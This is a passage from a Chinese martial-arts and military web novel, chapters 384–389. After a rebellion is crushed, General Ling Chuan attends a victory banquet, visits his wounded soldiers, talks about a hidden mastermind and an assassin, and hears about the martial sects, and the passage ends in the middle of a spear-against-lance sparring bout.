众人纷纷起身,杯盏相碰,发出清脆的响声,随即仰头将杯中酒一饮而尽,浓烈的酒液滚过喉咙,仿佛也冲淡了连日征战的疲惫与血腥。 重新落座后,许知白面向凌川,目光灼灼,语气诚恳:“早就听闻北疆出了一位少年英雄,用兵如神!今日一见,方知传言非虚,甚至犹有过之!” 凌川微微一笑,拱手道:“许将军过奖了,晚辈愧不敢当!” “非是过誉!”许知白坚决地摇了摇头,神色认真,“耳听为虚,眼见为实!抛开你过往的战绩不谈,单是此次定州一役,无论用何等赞誉之词,都毫不为过!” 他深吸一口气,眼中满是钦佩之色,细细剖析道:“论谋略,你在对定州敌情一无所知的情况下,仅凭一张地图和零星口供,便能做出如此精密的布局,算无遗策,环环相扣。这份洞察力和推演能力,老夫坐镇定州多年,自问也远远不及!” “论勇武与魄力,你亲率四百余骑,便敢直插叛军心脏,于万军之中斩将夺旗,一举扭转战局!这份胆识,绝非寻常将领所能拥有!” 昨夜,许知白躺在床上彻夜难眠,一是伤口疼痛难以入睡,但脑子里却在一次又一次复盘凌川的布局,每复盘一次他内心的震惊便会加深几分。 凌川先是敏锐地捕捉到部分定州军并非真心反叛的动摇心理,果断出手控制,继而巧妙利用这部分力量,从外围不断蚕食、骚扰叛军,有效瓦解其防线。 更令人叫绝的是,他竟能提前料到叛军会在青陂口设下重兵埋伏,从而安排娄星野的三千铁骑在堰雪坳反设埋伏,将来援之敌一举歼灭。而自己这个定州主将,只需依计在午时三刻率兵出城,对叛军主力发起反攻。 至于凌川自己,则亲率精锐直扑中军,最终摘得安王首级,彻底扭转战局,这套谋划,细腻入微,将敌我双方的每一步都算计在内,堪称经典。 一旁的娄星野同样内心震动,忍不住问道:“凌将军,卑职冒昧请教,您究竟是如何精准判断出青陂口设有伏兵的?” 凌川放下筷子,从容解释道:“若是仔细研究叛军的兵力分布图,不难发现他们在东南方向故意留下了一个看似薄弱的缺口,其目的,无非是引诱许将军从此处突围。既然是故意设下的陷阱,附近必有伏兵。我观青陂口地势,是设伏的不二之选。” 他转头看向许知白,笑道:“这种围三阙一的伎俩虽不算多么高深,但在战场上往往效果显著,我想,以许将军的老辣,定然一开始便看出了其中的蹊跷!” “不错!”许知白点头赞同,“正是怀疑其中有诈,老夫才未敢贸然突围!” 凌川接着说道:“正是基于此判断,我才料定,一旦城北主战场打响,这支伏兵必定会迅速回援,故而请你娄都尉提前在堰雪坳设伏,以逸待劳!” “服了!卑职是真服了!”娄星野脸上写满了不可思议,摇头叹道。 他实在难以想象,凌川是如何在情报极度匮乏的情况下,几乎完美地还原了战场全貌,其推断与实际情况几乎分毫不差。 席间其他将领闻言,眼神中也充满了震惊与由衷的钦佩。 就在这时,凌川话锋一转,神色略显凝重地问道:“不过,此次叛军的整体布局也相当精妙,环环相扣。据我所知,安王手下的领兵主将范旗山,断无此等能力。可见安王身边必有高人指点,许将军可知此人来历?” 许知白闻言,眉头微皱,摇了摇头:“此前我与安王交往甚少,只知他性格怯懦,胸无大志。原本还以为他过往的表现是为谋反而做的伪装,直到审问了范旗山才得知,这一切的背后,竟都出自安王身边一位姓莫的书生之手!” “可曾擒获此人?”凌川追问。 许知白再次摇头,语气中带着几分无奈:“此人极为神秘,即便是安王帐下的亲信将领,见过他的也寥寥无几。据范旗山交代,他只知对方姓莫,年约三十,相貌普通,至于其具体名讳、籍贯、背景,则一无所知!” 从这些零碎的信息中,凌川敏锐地嗅到了一丝不寻常的阴谋气息,他沉吟片刻,缓缓说道:“如果不出所料的话,安王便是死于此人之手!” “什么?安王不是将军您杀的?”娄星野惊得差点打翻酒杯,席间众将也纷纷露出惊愕之色。 第一卷 第384章 同袍相残 凌川神色凝重地摇了摇头:“我率军冲至安王帐前,遭遇了屠夫拦截,险些丧命,幸得阎都统及时赶到援手;当我们终于冲进大帐时,却发现安王早已身首异处,头颅被端端正正地放置在桌上,血迹未干!” “嘶……” 此话一出,满座皆惊,响起一片倒吸冷气的声音。 当时冲进大帐的只有凌川、沈七岁、小和尚以及阎鹤诏,因此这消息外界还无人知晓。 帐内顿时陷入一片沉寂,众人都在消化这个惊人的消息。 一个来历不明的书生,处心积虑地挑唆安王造反,精心布局,却在事败之际毫不犹豫地杀掉安王,然后人间蒸发…… 无论怎么看,安王都像是一枚被利用的棋子,一旦失去价值,便被弃如敝履;杀他,既是为了灭口,或许也带着某种警告的意味。 想到这里,凌川忽然意识到,自从昨日在安王大帐一别后,他就再也没见过阎鹤诏的身影。 他开口问道:“许将军,近日可曾见过阎都统?” 许知白摇了摇头:“未曾见过!” 对此,凌川也未深究,毕竟,无论文臣武将,都不想看到廷尉府的人,更何况是那尊名震官场与江湖的活阎罗。 又闲谈片刻后,凌川将话题引回现实,关切地看向许知白:“此次平叛,定州军的损失恐怕不小吧?” 许知白闻言,脸上的神情变得疲惫与痛惜,他长长叹息一声,放下了手中的筷子:“不瞒凌将军,经此一役,定州军可谓是元气大伤,没有数年时间,恐难恢复旧观!” 他声音低沉,带着一丝哽咽:“我定州原本有近三万兵马,此番折损近半……奈何安王暗中谋划多年,加之骤然发难,竟将定州城以外各郡县的兵马尽数收拢。名义上是‘平叛’,可除了安王自己培养的少数死士亲信,城外那近两万叛军……皆是我定州子弟兵啊!” 许知白双目通红,痛心疾首地握紧了拳头:“我心里清楚,除了少数被威逼利诱、或甘愿同流合污的将领,绝大多数士卒都是被蒙骗裹挟,不明真相!” “可是……在大局面前,在两军阵前,我别无选择,只能将他们视为敌人,挥刀相向!每念及此,心如刀割!”他的话语中充满了无奈与沉痛,令在座众人无不为之动容。 此战对于许知白和整个定州军而言,无疑是一场惨痛的手足相残。 战场上兵戈相向的,可能是自幼一同长大的同乡,可能是昔日并肩浴血的同袍,甚至可能是血脉相连的亲兄弟。 然而在大局面前,每个人都成了被浪潮推着前行的棋子,身不由己。 许知白端起一杯酒,没有敬任何人,径直倒入口中,喉结剧烈地滚动,辛辣的液体灼烧着胸腔,却远不及他心中的苦涩。 “这一切,怪不得那些士卒……”他声音沙哑,带着沉重的疲惫,“只怪本将失察,未能及早洞察安王阴谋,以致酿成如此滔天大祸!” 他双目布满血丝,通红的眼眶中压抑着巨大的痛苦,继续说道:“待定州善后事宜处理完毕,我便自行辞去这定州主将之职,返回神都,向陛下请罪!” “将军!” 帐内众将闻言,无不色变,纷纷起身劝阻:“将军,此事罪在叛贼,岂能归咎于您?定州百废待兴,将士们更需要您啊!您万万不可丢下我们和定州百姓而去啊!” 许知白缓缓摇头,长叹一声,那叹息声中充满了无力与沧桑:“此番兵变,险些葬送整个定州,为帝国带来倾覆之危。即便如今叛乱已平,却已让无数百姓流离失所,让我定州儿郎自相残杀,血染沙场。我许知白……还有何颜面面对定州父老乡亲?” “将军无需过分自责!”凌川也开口劝慰,“此次回神都,我定当向陛下详细禀明事情原委与将军的苦衷。陛下圣明,必能体察将军之忠勇与无奈,断不会加以苛责!” 许知白感激地看了凌川一眼,却依旧摇头:“凌将军的好意,我心领了,我许知白戎马半生,并非畏惧朝廷责罚。只是经此一役,深感心力交瘁,自觉年老迟钝,恐难再胜任陛下重托,更怕……将来再辜负了将士和百姓的期望。” 凌川看得出,许知白话语中的去意已决,那不仅是自责,更是一种心灰意冷的疲惫。 许知白再次看向凌川,目光真挚而沉重:“若非凌将军力挽狂澜,我许知白便是帝国的罪人,天下的罪人!你救下的,不仅仅是我许知白和定州军,更是这满城数万无辜百姓的性命!” 离开将军府时,凌川的心情异常沉重。战争的残酷,再一次血淋淋地呈现在他面前。 曾有人说,战争是开启人性邪恶的钥匙,如今看来,此言不虚。 对于那些顶端的权谋者而言,战争不过是他们实现野心和掠夺的工具,然而无论是发动战争的一方,还是被迫应战的一方,承受最深重苦难的,永远是那些普通的士兵和底层的百姓。 即便是手握兵权的将领,在更大的棋局中,也往往难以摆脱身为棋子的命运。 次日,娄星野前来辞行,他需率领麾下兵马返回铁瓮关。 铁瓮关虽非边关,但守将亦不能长久离防,凌川亲自相送,二人并肩行走在定州城的街道上。 “此次多谢娄都尉鼎力相助,这份人情,凌川记下了!”凌川郑重说道,“许将军已为你呈报军功,待我回到神都面圣,也定当在陛下面前为都尉请功!” 娄星野爽朗一笑,抱拳道:“相比朝廷封赏,末将更珍惜能与凌将军并肩作战的这份情谊!” 凌川闻言亦笑,提醒道:“此话在外人面前可要慎言,免得被有心人听去,平添麻烦。” 娄星野却不以为意:“我与将军此番也算生死与共,若连这点信任都没有,岂不寒了将士们的心?” 送别娄星野后,凌川去探望受伤的士兵。 营房内弥漫着浓重的药味和血腥气,看着那些躺在床榻上,伤口仍在渗血的弟兄,凌川的心像是被一只无形的手紧紧攥住。 第一卷 第385章 开启邪恶的钥匙 有人失去了一条腿,空荡荡的裤管刺目惊心;有人断臂处缠着厚厚的渗血纱布;有人眼部蒙着白布,此生再难见光明;还有人至今昏迷不醒,生死未卜。 “将军……”一个虚弱的声音传来。 凌川循声望去,是简绪,云岚县人,是凌川当初在云岚县任校尉时招募的兵,年纪与他相仿。 凌川快步上前,轻轻握住他冰凉的手,低声道:“我在!” “将军……别难过!”简绪脸色苍白,气息微弱,但目光却异常清澈坚定,“兄弟们……无怨无悔!” 凌川抬起头,环视四周,那些受伤的士兵们都静静地看着他,没有任何言语,但那一双双眼睛已然诉说了所有——忠诚、坚韧,以及毫无保留的信任。 “对于兄弟们来说,能跟着将军,是这辈子最大的荣幸。”简绪虎目泛红,热泪终究还是滚落下来,划过年轻却饱经风霜的脸颊,“只可惜……以后不能再跟着将军征战四方了!” 听到这番话,凌川只觉鼻尖一酸,胸腔内一阵剧烈的绞痛,他强忍着,不让眼眶中的湿热涌出。 “大家安心养伤!”他的声音带着不易察觉的颤抖,“我会安排人送你们回云州妥善安置,从今往后,只要有我凌川一口饭吃,就绝不会饿着大家!” 转身走出屋子的刹那,凌川再也无法抑制,两行热泪悄无声息地滑落,他迅速抬手抹去痕迹。 “将军……”一旁的苍蝇轻声唤道,语气中充满担忧。 “我没事……”凌川背对着他,声音略显沙哑,“风沙太大了,迷了眼睛!” 许久,他才将翻涌的心绪平复下来,对苍蝇吩咐道:“让弟兄们好生休整,明日一早,我们继续起程赶路。” 此次前往神都,路程尚未过半,却已有近两百名兄弟永远长眠,另有一百余人因重伤不得不离队,其中不少将终身残疾。 而这一切,皆因他凌川而起。 有人说,慈不掌兵。 可人非草木,孰能无情?或许有人能真正做到铁石心肠,视士卒如数字,但凌川做不到,更何况这些是与他同生共死、血肉相连的兄弟袍泽。 就在这时,沈珏快步跑来禀报:“将军,阎都统来了!” “人在哪里?”凌川收敛心神问道。 “在您暂住的院子里。”沈珏答道。 刺史府内,凌川临时入住的小院中,阎鹤诏正端坐在石凳上,手中拿着一只素雅的茶杯,漫不经心地把玩着,目光深邃难测。 苏璃坐在他对面,神色清冷,与平日里的温婉判若两人。 “阎大人…!”苏璃的声音打破了沉寂,清冷中带着一丝不容置疑的坚持,“小女只问一句,我父亲之死,究竟有哪些人参与其中?” 在凌川面前,她永远是那个温柔体贴的妻子,以至于让人常常忽略,她是将门之女,骨子里流淌着苏大将军的血液。 寻常官员见到这位活阎罗无不战战兢兢,唯恐避之不及,但苏璃却毫无惧色,直截了当地发问。 阎鹤诏依旧把玩着那只茶杯,半晌之后,才缓缓开口,声音平淡无波:“我不知道!” “大人是不知道,还是不愿说?”苏璃毫不退让,追问道。 阎鹤诏终于停下了手上的动作,抬起眼眸,那目光锐利如刀,直刺苏璃:“我是真不知道。不过,若想查,也并非难事。” 他话锋一转,反问道:“但,你知道了,又能如何?” 苏璃沉默了,她心里清楚,能谋害她父亲那般人物的,必然是朝中手眼通天的权贵,如今的她,一无权势,二无凭仗,即便知道了仇人是谁,又能怎样? “我告诉你名字,你是打算单枪匹马去拼命,还是拉着凌川一起去送死?”阎鹤诏的声音不高,却字字诛心。 见苏璃抿紧嘴唇不语,阎鹤诏轻轻将茶杯放回石桌,发出细微的磕碰声。 “我并非劝你放下仇恨!”他的语气似乎缓和了些许,“只是不愿见你一生都被仇恨吞噬,画地为牢!” 就在这时,凌川迈步走进院子,脸上带着恰到好处的笑容,拱手道:“阎都统大驾光临,有失远迎,还望恕罪!” 阎鹤诏抬起眼皮淡淡地扫了他一眼,神情依旧如万年寒冰,看不出丝毫波动。 苏璃见凌川回来,便站起身,轻声说道:“相公,你陪阎大人说说话,我去收拾行装。”随即向阎鹤诏微微欠身施礼,转身走进了屋内。 凌川在阎鹤诏对面的石凳上坐下,很自然地伸手去提桌上的茶壶,准备为对方斟茶。 然而,他的手刚触到壶柄,阎鹤诏的手却更快一步,精准地扣住了他的手腕。 凌川微微一愣,有些不明所以。 就在这时,阎鹤诏开口了,声音平淡无波:“我自己来!” 他缓缓松开抓住凌川手腕的那只手,顺势接过茶壶,不紧不慢地为自己注满了茶杯。 “人追到了吗?”凌川问道,指的是那名神秘的莫姓书生。 阎鹤诏摇了摇头,眼神中难得地闪过一丝凝重:“很多年没遇到这么狡猾的狐狸了,一路上布下多处疑阵,最终还是让他金蝉脱壳。” 凌川嘴角微扬,露出一抹意味深长的笑意:“能从您这位老猎人的手底下逃脱,看来对方绝非等闲之辈!” “看不出任何明显路数,但这才是最令人不安的地方!”阎鹤诏端起茶杯,浅呷一口,继续说道,“安王不过是一枚棋子,真正可怕的,是操纵棋局的人,或者……是棋子背后的那个组织!” 凌川面露惊色:“堂堂藩王竟沦为他人手中棋子,看来定州起兵不过是道开胃小菜,对方所图必然更大!” 阎鹤诏冷然一笑,语气笃定:“无非是为了这万里江山,那张九五至尊的龙椅!” 凌川给自己也倒了一杯茶,好奇地追问:“大人可知,蛇窟的杀手与安王是否有牵连?” “应当只是巧合,但安王背后之人,必然知晓蛇窟的到来!”阎鹤诏略作停顿,补充道,“不过,屠夫的确是安王背后势力请来的。刺杀你,一是与神都的某些人达成了交易,二来,也是想用你的死,将这天下局势搅得更乱。” 第一卷 第386章 我杀你,无需出刀! “那大人昨日为何不直接杀了屠夫,以绝后患?”凌川又问出心中疑惑。 从当时屠夫对阎鹤诏的畏惧态度来看,两人实力差距明显,阎鹤诏却放虎归山,这让他十分不解。 阎鹤诏意味深长地看了他一眼,说道:“那是我故意给你留下的!” 凌川眉毛一挑,大感诧异:“给我留下的?” 阎鹤诏点了点头:“这杀猪匠的刀法狠辣,但更厉害的是他常年屠戮凝练出的那一身恐怖杀气,这一点你已亲身体验过。他虽困于八重境多年,却有着搏杀九重境高手的实力!” 凌川听后不由苦笑:“大人,我可没有受虐的癖好!您若方便,不如直接替我解决这个麻烦,卑职感激不尽!” “别不识好歹!”阎鹤诏瞥了他一眼,“这么好的磨刀石,放眼江湖也不好找。加之他一心要杀你,只要你保证每次都不被他干掉,与之交手便是提升实力最快的途径。” 凌川一时语塞,无奈道:“大人也说了,前提是能活下来。我不过是刚摸到武修的门槛,对方却是成名已久的八重境高手,我拿什么保证次次都能侥幸不死?” 阎鹤诏目光深邃地看着他:“别小看了你自己,你体内那道真气,熔炼了云书阑的浩然正气、屠夫的凌厉杀气,还有杨斗重的无双剑气。若非如此,昨日屠夫那一刀就足以要了你的性命。你真以为,那么重的内伤,能在一夜之间自行痊愈?” 闻听此言,凌川心中一震。 杨铁匠确实说过他体内真气的特殊之处,虽是在他帮助下才得以炼化那三股外来真气,但也强调,根本还在于他自身那缕先天真气足够强韧。 可他万万没想到,这道真气竟然在一夜之间让自己的内伤恢复过来,难怪清晨醒来便觉周身轻松,痛楚尽消。 可即便如此,他与屠夫之间的差距依旧如同天堑。 阎鹤诏仿佛能看穿他的心思,继续说道:“你也莫要小觑了身边那两个少年。他们乃是当今江湖年轻一辈中最顶尖的天才,身后的门派更是举足轻重。” “蜀山剑宗是公认的剑道正统,空观寺更是能与西域千佛山分庭抗礼的佛门圣地。有他二人在旁,寻常宵小根本不敢近身。”阎鹤诏顿了顿,直接点破凌川的顾虑,“即便那衡水屠夫亲自出手,只要有杨剑神在,你也断无性命之忧。” “他们二人……如今是何等修为?”凌川赶忙追问。 “六重境!” 凌川眼中闪过一丝惊诧,十四五岁的年纪便已达六重境,果真不愧是天才之名。 “阎大人不是应该坐镇北疆陵州吗,为何会突然现身定州?”凌川转而问起另一个疑惑。 阎鹤诏沉默片刻,按律,廷尉府的一切行动皆属机密,本不该对外人透露分毫。但此次,他却破例开口答道:“陛下密旨,召我回神都复命!” 凌川目光微动,眼中闪过一丝狡黠,顺势提议:“既然如此,大人何不与我们同行?” 阎鹤诏何等人物,立刻识破了他的小心思,唇角勾起一抹似笑非笑的弧度:“你小子,是想让我给你当免费护卫吧?” “嘿嘿……”凌川尴尬一笑,掩饰道,“大人误会了,晚辈只是觉得人多热闹些!” “我这人,最怕热闹!”阎鹤诏面无表情地回绝。 凌川见状,只得打消念头,转而好奇地问道:“大人昨日连刀都未出,便吓退了屠夫,您的修为……至少也是九重境了吧?” “我杀你,同样无需出刀!”阎鹤诏的回答简洁而冷酷。 凌川一时语塞,心里却有些不服,又问道:“那……若是大人您与杨老头相比,孰强孰弱?” 阎鹤诏缓缓端起茶杯,语气平淡无波:“若是巅峰时期的杨剑神,杀我,亦无需出剑!” 凌川脸上刚浮现出一丝得意,又迫不及待地追问:“那现在呢?若您与他交手,有几分胜算?” 阎鹤诏看了他一眼,缓缓伸出五根手指。 “五分胜算?那便是平分秋色了!”凌川笑着说道。 然而,阎鹤诏接下来的话却让他差点把口中的茶喷出来:“他有九十五分!” 凌川呛咳两声,哭笑不得:“大人,您这说的……是以百分为满啊?” 阎鹤诏放下茶杯,起身离开,凌川将其送到门外,可阎鹤诏却连一句道别的话都没说。 次日清晨,天光微亮,凌川便已起身收拾行装。 尽管心中对那些受伤的士卒仍有牵挂,但行程紧迫,不容耽搁。好在定州有许知白坐镇,后续事宜交给他,应当稳妥。 正当他整理完毕,准备下令出发时,苍蝇快步走了进来,神色有些焦急:“将军,府门外被百姓们围得水泄不通,咱们的队伍根本出不去!” 凌川神色一凝,道:“走,去看看。” 才踏出刺史府大门,他便被眼前的景象所震撼,只见门前宽阔的街道上,乌泱泱站满了百姓,男女老少,携幼扶老,不少人手中还提着篮子、抱着布包,人群寂静无声,却自有一股沉甸甸的力量。 当凌川的身影出现在石阶上时,不知是谁带头,黑压压的人群如同风吹麦浪般,齐刷刷跪了下去。 “凌将军!定州百姓,谢过将军救命之恩!” 声音起初零落,随即汇聚成潮,震动着清晨的空气。 几位白发苍苍的老者颤巍巍俯身叩首,妇人们拉着懵懂的孩童一同跪拜,许多汉子也红着眼眶,将额头重重磕在青石板上。 凌川心头一震,急忙快步走下台阶,高声喊道:“乡亲们!快请起!凌川受不起如此大礼!” 然而无人起身,感激的声浪反而愈发汹涌。 一位须发皆白的老丈被人搀扶着抬起头,老泪纵横:“将军,若不是您带兵平叛,我们这些人……早就成了叛军刀下的冤魂了啊!” “是啊将军!您是我们定州的恩人!”一个抱着孩子的妇人哽咽道。 凌川俯身,亲手将面前几位老人扶起,又对众人拱手,声音诚恳而洪亮:“乡亲们的心意,凌川收到了!但我身为大周将领,护佑百姓本是职责所在!定州有难,凌川岂能坐视不理?大家快快请回,好好过日子,便是对凌川最好的报答!” 第一卷 第387章 佛门易筋经 凌川一遍遍劝说,声音已有些沙哑。 百姓们终于渐渐起身,却仍围拢不去,纷纷将带来的鸡蛋、米粮、布鞋等物往前递送,场面热烈而混乱。 就在这人声鼎沸之际,凌川眼角猛地一跳,一股极其隐蔽却尖锐的危险感如冰针般刺来,虽转瞬即逝,却令他背脊生寒。 几乎同时,聂星寒已无声无息地贴近他身侧,右手迅速从箭壶之中取出一支破甲箭搭在弦上。 苍蝇与沈珏更是悄然握紧刀柄,一左一右将凌川护在中间,目光锐利地扫视着涌动的人群。 百姓们并未察觉任何异常,依旧沉浸在感激与送别的情绪中。 凌川强压心头警兆,继续耐心地与乡亲们拱手道别,又费了不少功夫,才终于劝得人群缓缓散去。 待百姓走远,街面恢复空旷,聂星寒才压低声音道:“刚才人群里混进了杀手!” 凌川微微颔首,面色凝重:“我也感应到了,可看清模样?” “没有!”聂星寒摇头,眼神冷峻,“此人极其擅长隐匿,且谨慎异常,他定然是察觉到我们心生警觉,故而未敢动手,立即遁走了!” 辰时,朝阳初升,凌川终于整顿好队伍准备出发,许知白早已率领一众将领在东门外等候相送。 “凌将军,感激的话说再多也显苍白,无论我许知白日后是否还在定州,这份恩情,定州军上下永远铭记于心!”许知白抱拳躬身,言辞恳切,身后众将亦随之齐齐行礼,目光中充满了敬重。 凌川连忙还礼:“许将军言重了!能结识将军这般忠勇可敬的前辈,与定州军的诸位兄弟并肩作战,是凌川的荣幸!” “此去神都,路途遥远,险阻重重,凌将军务必多加小心!”许知白语重心长地提醒道,他已知晓凌川这一路行来颇不太平。 凌川郑重点头:“多谢将军提醒,我自会小心,我那一百多名受伤的兄弟,就劳烦将军多多费心照料了!” “凌将军放心!”许知白拍着胸脯,慨然应诺,“他们是为救我定州而负伤,我许知白和定州军岂敢有半分怠慢,定当竭尽全力,使他们早日康复!” 双方又一番珍重道别后,凌川率领队伍缓缓驶出东门。 原本他们应当从南门出发,但因城南堰雪坳的道路被前日激战滚落的巨石堵塞,尚未清理完毕,只得改由东门出城,绕道而行。 此时的队伍,规模已明显缩减,出发时的一千余人,如今仅剩七百多人。 凌川的亲兵队不足四百,洛青云所率的五百精骑也只剩三百余人,队伍中弥漫着一种沉重的气氛,但士兵们的眼神却更加坚毅。 沈七岁和一禅和尚一左一右,护卫在凌川马匹两侧。 对于这两位年轻人‘喧宾夺主’般占据最核心护卫位置的行为,就连苍蝇等亲随也毫无异议。 毕竟他们亲眼见识过这两位年轻高手那恐怖的实力,心中唯有敬佩。 “二位的伤,恢复得如何了?”凌川关切地询问道。 “已无大碍了!”沈七岁洒脱地摆了摆手,“有一说一,那杀猪匠的杀气确实骇人,若他当时真下死手,小爷我怕是真的要躺上十天半月了!” 另一侧,一禅和尚声音平和地答道:“多谢将军挂怀,小僧的伤势已好了七八分。” “二驴,你吹什么牛皮?”沈七岁闻言顿时瞪大眼睛,满脸不信。 他受伤是因为屠夫强行斩断他与飞剑的气机联系,真气逆行所致;而一禅是实打实硬接了屠夫一刀,外伤内损皆重,按理说恢复起来应该慢得多。 “出家人不打诳语!”一禅和尚单掌立胸,神情认真,“小僧自幼修习易筋经,此法不仅强筋健骨,于疗伤续脉一道,亦颇具奇效!” “易筋经?”沈七岁顿时来了兴趣,凑近些问道,“二驴,这等好功夫,教教我呗?” 谁知一禅和尚却摇了摇头,一本正经地说:“佛门易筋经,入门心法并非不传之秘,但你练不了!” “为何?”沈七岁不服气地扬起下巴,“你看不起小爷?我可是蜀山百年不出的天才,这天下还有我练不了的功夫?” 一禅和尚看着他,缓缓解释道:“非是资质问题,你若想修炼易筋经,需先散尽体内纵横凌厉的剑气,化去一身剑道根基。否则,佛门绵柔真气与你至刚至锐的剑道相冲,有害无益! 沈七岁一听,立刻像被踩了尾巴似的,连连摆手:“得得得!什么破武功,还要废掉修为?不练了不练了!还是我的剑痛快!” 凌川看着两人斗嘴,不禁莞尔,随即问道:“你们二位是江湖中年轻一辈的翘楚,对江湖势力想必了如指掌,可否为我讲解一番?” 一禅和尚微微摇头:“将军见谅,这是小僧第一次奉师命下山,对江湖各派所知有限,此事,您得问七岁!” 凌川有些好奇,转向一禅:“小师傅以往在寺中,每日都做些什么?” 一禅和尚认真地掰着手指头数道:“挑水、劈柴、种菜、做饭、早晚课诵、打坐参禅、抄写经卷……日复一日,年复一年!” “哎!二驴,不是我说你!”沈七岁在一旁听得直摇头,“你这日子过得也忒无趣了!我上次去空观寺找你时就说过,你跟着老秃驴整天青灯古佛的,能有什么出息?还不如跟着小爷我行走江湖,快意恩仇,那才叫逍遥自在!” 见小和尚只是低头诵经不再搭话,沈七岁顿觉无趣,便侧过身来,慵懒地骑在马上,对凌川说道:“要说这江湖门派,那可真是三教九流、鱼龙混杂,一时半会儿还真说不清楚!” 凌川淡然一笑,道:“无妨,此去神都路途尚远,我们有的是时间。你慢慢讲来,我也好细细领会,免得一次听得太多,反倒记不真切。” “也罢!”沈七岁点了点头,整理了下思绪,开口说道:“这天下江湖,门派林立,但大多不过是些名头响亮却实力不济的小门小派,有些甚至连一位小宗师都供奉不起。” 第一卷 第388章 天下江湖 “何为小宗师?”凌川好奇地追问。 “小宗师嘛,指的就是七重境的武修!”沈七岁解释道,“这个境界是许多江湖人穷尽一生也难以企及的高度,故而能达到者,便足以在一县之地称雄,至于小宗师这个说法,则是底层江湖的戏称!” 他话锋一转,语气带着几分傲然:“真正底蕴深厚的宗门,或许门人弟子不多,但在江湖中的地位,绝非那些乌合之众可比。就像二驴的师门空观寺,虽说只有他们师徒二人,却能稳坐中原佛门头把交椅,数百年来与西域千佛山分庭抗礼,凭的就是深不可测的传承和历代高僧积累下的赫赫威名!” “此外,像白鹤梁、玉皇观、苍山竹海、东海白云城、南海归墟岛这几处,虽然门下弟子不算众多,但宗内皆有宗师境高手坐镇,乃是江湖中执牛耳的存在,名冠天下!” “还有一类,如沧州碧落山庄、巫峡唐门这等以家族为核心的势力,同样根基深厚,不容小觑。” 凌川听得入神,顺势问道:“那你们蜀山剑宗,在其中又居于何等地位?” 一提到蜀山剑宗,沈七岁顿时眉飞色舞,挺直了腰板:“我们蜀山自然不同!立教数百年长盛不衰,门下弟子众多,始终是天下江湖公认的剑道正宗。历代蜀山弟子皆以斩妖除魔、匡扶正义为己任。细数这几百年的江湖,一半以上的剑道魁首,都出自我们蜀山……” 他脸上洋溢着自豪的光彩,对宗门的辉煌历史与历代先贤的事迹如数家珍,言语间充满了骄傲。 凌川含笑听着,待他稍歇,用马鞭指了指队伍后方那辆安静的马车,问道:“那你觉得,杨老头和你家掌教师兄相比,孰强孰弱?” “这……不好说!”沈七岁挠了挠头,“当年杨剑神名震江湖、睥睨群雄之时,我掌教师兄尚在摸索自己的剑道。二人虽有过交集,却未曾真正交手。” 他轻叹一声,语气带着几分惋惜:“掌教师兄曾言,未能与巅峰时期的杨剑神一较高下,是他平生一大憾事!” “照此说来,当今江湖,便无人是你师兄的对手了?”凌川再问。 “那也不是!”沈七岁摇头,“天下能人辈出,仅是明面上已达宗师之境的高手,双手之数也未必能数尽。只不过,在剑道一途上,自杨剑神折剑出江湖,苍山竹海那位也封剑不出之后,确实再无人能在剑术修为上与掌教师兄比肩了。” 他顿了顿,补充道:“事实上,江湖中还有许多独来独往的高手,譬如曾经的杨剑神,还有那衡水河畔的屠夫,皆属此类。此外,亦有大量实力强横的武修选择为朝廷效力,比如坐镇神都的那两位宗师,还有廷尉府中,以阎鹤诏为首的强者更是不在少数!” “那边关沙场呢?四方边军之中,难道就没有武修了吗?”凌川将话题引向自己更熟悉的领域。 “当然有!”沈七岁肯定道,随即抬手指了指正带队走在队伍前方的洛青云,“远的不说,将军您麾下那位洛校尉,便是一位实实在在的四重境武修!” 闻听此言,凌川心中顿时一惊,他此前没少与洛青云对练,两人往往打得有来有回,甚至洛青云偶尔还会因一招半式落败。他一直以为二人实力在伯仲之间。 此刻想来,不仅是洛青云,还有那位师承南海枪神的唐岿然,又怎会没有修炼出真气? 原来以往的切磋中,他们一直都在暗中相让,而自己竟浑然不觉,还时常为自己的“进步”而沾沾自喜。 一股复杂情绪涌上心头,凌川眼神一凝,转头对身后喝道:“苍蝇!取我的破殇锋来!” “是!”苍蝇应声而动,迅速从一名亲兵肩上接过那杆银枪,递到凌川手中。 “驾!” 凌川握紧破殇锋,一夹马腹,胯下黑风会意,立刻如离弦之箭般朝着队伍最前方冲去。 正专心带队的洛青云忽闻身后马蹄声急促而来,回头一看,只见凌川单骑疾驰而至,神色不由得一紧,还以为后方出现了什么变故。 “将军,有何……”他话音未落,却见凌川手臂一振,手中银枪化作一道寒光,竟直刺自己面门而来! 洛青云大惊失色,完全没料到凌川会突然对自己出手。 电光火石间,他身体本能地迅速侧过,险之又险地避开了这突如其来的一枪。 然而凌川攻势未停,枪身回转,一记凌厉的秋风扫叶横扫而来。 洛青云不敢怠慢,整个身体几乎平贴在马背上,才勉强躲过。 可紧接着,凌川枪尖一抖,如寒星乍现,一式寒星点月直取其腰腹要害,洛青云此时已避无可避,只得单手撑住马鞍,借力一个鹞子翻身,稳稳落于马下。 “将军!您这是为何?”洛青云稳住身形,满脸尽是惊愕与不解。 紧随其后的骑兵们也被这突如其来的变故惊呆了,纷纷勒住战马,面面相觑,不知将军为何要对自家校尉动手,整个队伍前部,瞬间陷入一片诡异的寂静。 凌川手中破殇锋一振,枪尖遥指洛青云,神色肃然:“洛青云!我命令你,全力与我一战!若再敢有半分相让,定以军法论处!” 洛青云闻言,心下顿时了然,将军既已修出真气,以往他与唐岿然在切磋时暗中留手之事,终究是瞒不住了。 他脸上掠过一丝尴尬的笑意,抱拳道:“既然如此,属下就得罪了!” 四周骑兵见状,纷纷勒住战马,围拢过来,个个面露兴奋,毕竟军中高手单打独斗的场面,可不是轻易能见到的。 洛青云自得胜钩上取下一杆乌沉沉的马槊,槊锋在日光下泛着冷冽的寒芒。 他双手持槊,沉腰立马,朗声道:“将军,请!” “尽管放手施为!若能胜我,非但无过,反而有赏!”凌川目光灼灼,语气不容置疑。 听得此言,洛青云最后一丝顾虑也烟消云散,眼中战意升腾,竟率先发动攻势。 只见他身体猛然蹿出,手中马槊如毒龙出洞,带着尖锐的破空声,直刺凌川面门。 这一槊又快又狠,与往日切磋时的绵软判若两人。 第一卷 第389章 枪槊交锋! 马槊与长枪有很多相似之处,但,抛开个例不谈,在战场上,槊的威力却要强于枪矛,特别是在骑兵对战中,槊的威力将会完美展现出来。 马槊与陌刀乃是战场上对抗骑兵的两大杀器,但,极少有大量普及的情况,一是造价太高,想要给整支军队普及,将是一笔巨大开支,再则是这两件兵器,不像枪矛那般容易上手,需要长时间的训练,方能熟练掌握。 